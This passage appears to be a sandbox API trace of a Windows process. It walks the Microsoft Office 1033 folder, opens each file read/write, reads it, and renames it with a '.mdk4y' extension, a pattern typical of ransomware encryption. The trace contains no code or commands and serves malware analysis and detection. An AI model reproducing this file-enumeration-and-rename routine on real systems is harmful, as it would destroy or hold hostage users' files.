lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.173] AreFileApisANSI () returned 1 [0192.173] GetACP () returned 0x4e4 [0192.173] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGCHART.VSL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORGCHART.VSLIDX_DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0192.173] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.175] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826740500000) returned 1 [0192.175] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xdfa0, lpOverlapped=0x0) returned 1 [0192.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826742500000) returned 1 [0192.195] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826742500000) returned 1 [0192.196] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGCHART.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgchart.vsl.mdk4y")) returned 1 [0192.197] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.197] AreFileApisANSI () returned 1 [0192.197] GetACP () returned 0x4e4 [0192.197] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGPOS.VRD", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORGPOS.VRDSL", lpUsedDefaultChar=0x37df4c) returned 10 [0192.197] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.198] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826742800000) returned 1 [0192.198] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x44a, lpOverlapped=0x0) returned 1 [0192.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826743000000) returned 1 [0192.200] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826743000000) returned 1 [0192.200] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGPOS.VRD.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgpos.vrd.mdk4y")) returned 1 [0192.202] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.202] AreFileApisANSI () returned 1 [0192.202] GetACP () returned 0x4e4 [0192.202] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ORGWIZ.VSL", cchWideChar=10, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ORGWIZ.VSL", lpUsedDefaultChar=0x37df4c) returned 10 [0192.202] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.203] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826743300000) returned 1 [0192.203] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x105b0, lpOverlapped=0x0) returned 1 [0192.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826744900000) returned 1 [0192.219] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826744900000) returned 1 [0192.220] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ORGWIZ.VSL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\orgwiz.vsl.mdk4y")) returned 1 [0192.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.222] AreFileApisANSI () returned 1 [0192.222] GetACP () returned 0x4e4 [0192.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ospintl.dll", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="ospintl.dllL", lpUsedDefaultChar=0x37df4c) returned 11 [0192.222] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.222] AreFileApisANSI () returned 1 [0192.222] GetACP () returned 0x4e4 [0192.222] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTFORM.DAT", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTFORM.DAT", lpUsedDefaultChar=0x37df4c) returned 11 [0192.222] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.224] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826745400000) returned 1 [0192.224] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x16e00, lpOverlapped=0x0) returned 1 [0192.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826747700000) returned 1 [0192.247] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826747700000) returned 1 [0192.249] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTFORM.DAT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outform.dat.mdk4y")) returned 1 [0192.250] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.250] AreFileApisANSI () returned 1 [0192.250] GetACP () returned 0x4e4 [0192.250] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLBAR.INF", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLBAR.INF", lpUsedDefaultChar=0x37df4c) returned 11 [0192.250] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.251] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826748100000) returned 1 [0192.251] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x970, lpOverlapped=0x0) returned 1 [0192.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826749500000) returned 1 [0192.265] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826749500000) returned 1 [0192.265] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLBAR.INF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlbar.inf.mdk4y")) returned 1 [0192.267] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.267] AreFileApisANSI () returned 1 [0192.267] GetACP () returned 0x4e4 [0192.267] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLLIBR.DLL", cchWideChar=12, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLLIBR.DLL", lpUsedDefaultChar=0x37df4c) returned 12 [0192.267] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.268] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826749800000) returned 1 [0192.268] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826753100000) returned 1 [0192.301] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826753100000) returned 1 [0192.340] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.mdk4y")) returned 1 [0192.341] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.341] AreFileApisANSI () returned 1 [0192.341] GetACP () returned 0x4e4 [0192.341] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLLIBR.DLL.IDX_DLL", cchWideChar=20, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLLIBR.DLL.IDX_DLLl", lpUsedDefaultChar=0x37df4c) returned 20 [0192.342] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.342] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826757200000) returned 1 [0192.343] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d380, lpOverlapped=0x0) returned 1 [0192.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826759100000) returned 1 [0192.361] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826759100000) returned 1 [0192.363] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.idx_dll.mdk4y")) returned 1 [0192.366] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.366] AreFileApisANSI () returned 1 [0192.366] GetACP () returned 0x4e4 [0192.366] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLLIBR.REST.IDX_DLL", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLLIBR.REST.IDX_DLL", lpUsedDefaultChar=0x37df4c) returned 21 [0192.366] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.368] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826759800000) returned 1 [0192.368] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x46f80, lpOverlapped=0x0) returned 1 [0192.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826763000000) returned 1 [0192.400] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826763000000) returned 1 [0192.402] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.REST.IDX_DLL.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.rest.idx_dll.mdk4y")) returned 1 [0192.404] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.404] AreFileApisANSI () returned 1 [0192.404] GetACP () returned 0x4e4 [0192.404] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.DEV.HXS", cchWideChar=15, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.DEV.HXSDX_DLL", lpUsedDefaultChar=0x37df4c) returned 15 [0192.404] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.405] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826763500000) returned 1 [0192.405] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826768900000) returned 1 [0192.459] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826768900000) returned 1 [0192.480] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV.HXS.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev.hxs.mdk4y")) returned 1 [0192.482] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.482] AreFileApisANSI () returned 1 [0192.482] GetACP () returned 0x4e4 [0192.482] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.DEV_COL.HXC", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.DEV_COL.HXCLL", lpUsedDefaultChar=0x37df4c) returned 19 [0192.482] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.482] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826771200000) returned 1 [0192.482] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x28b, lpOverlapped=0x0) returned 1 [0192.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774100000) returned 1 [0192.511] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774100000) returned 1 [0192.511] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXC.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxc.mdk4y")) returned 1 [0192.512] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.513] AreFileApisANSI () returned 1 [0192.513] GetACP () returned 0x4e4 [0192.513] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.DEV_COL.HXT", cchWideChar=19, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.DEV_COL.HXT", lpUsedDefaultChar=0x37df4c) returned 19 [0192.513] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774400000) returned 1 [0192.514] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xd3, lpOverlapped=0x0) returned 1 [0192.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774400000) returned 1 [0192.514] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774400000) returned 1 [0192.515] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_COL.HXT.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_col.hxt.mdk4y")) returned 1 [0192.516] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.516] AreFileApisANSI () returned 1 [0192.516] GetACP () returned 0x4e4 [0192.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.DEV_F_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.DEV_F_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0192.516] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.516] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774900000) returned 1 [0192.519] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x72, lpOverlapped=0x0) returned 1 [0192.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774900000) returned 1 [0192.519] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826774900000) returned 1 [0192.520] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_F_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_f_col.hxk.mdk4y")) returned 1 [0192.521] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.521] AreFileApisANSI () returned 1 [0192.521] GetACP () returned 0x4e4 [0192.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.DEV_K_COL.HXK", cchWideChar=21, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.DEV_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 21 [0192.521] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.521] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826775100000) returned 1 [0192.522] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x71, lpOverlapped=0x0) returned 1 [0192.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826775200000) returned 1 [0192.522] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826775200000) returned 1 [0192.522] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.DEV_K_COL.HXK.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.dev_k_col.hxk.mdk4y")) returned 1 [0192.523] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6a26b0 | out: lpFindFileData=0x6a26b0) returned 1 [0192.523] AreFileApisANSI () returned 1 [0192.523] GetACP () returned 0x4e4 [0192.523] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OUTLOOK.HOL", cchWideChar=11, lpMultiByteStr=0x6ac40c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="OUTLOOK.HOL_K_COL.HXK", lpUsedDefaultChar=0x37df4c) returned 11 [0192.523] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hol"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0192.524] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826775400000) returned 1 [0192.524] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x100000, lpOverlapped=0x0) returned 1 [0192.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826778500000) returned 1 [0192.555] QueryPerformanceCounter (in: lpPerformanceCount=0x37dee4 | out: lpPerformanceCount=0x37dee4*=1826778500000) returned 1 [0192.580] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HOL" (normalized: "c:\\program files\\microsoft 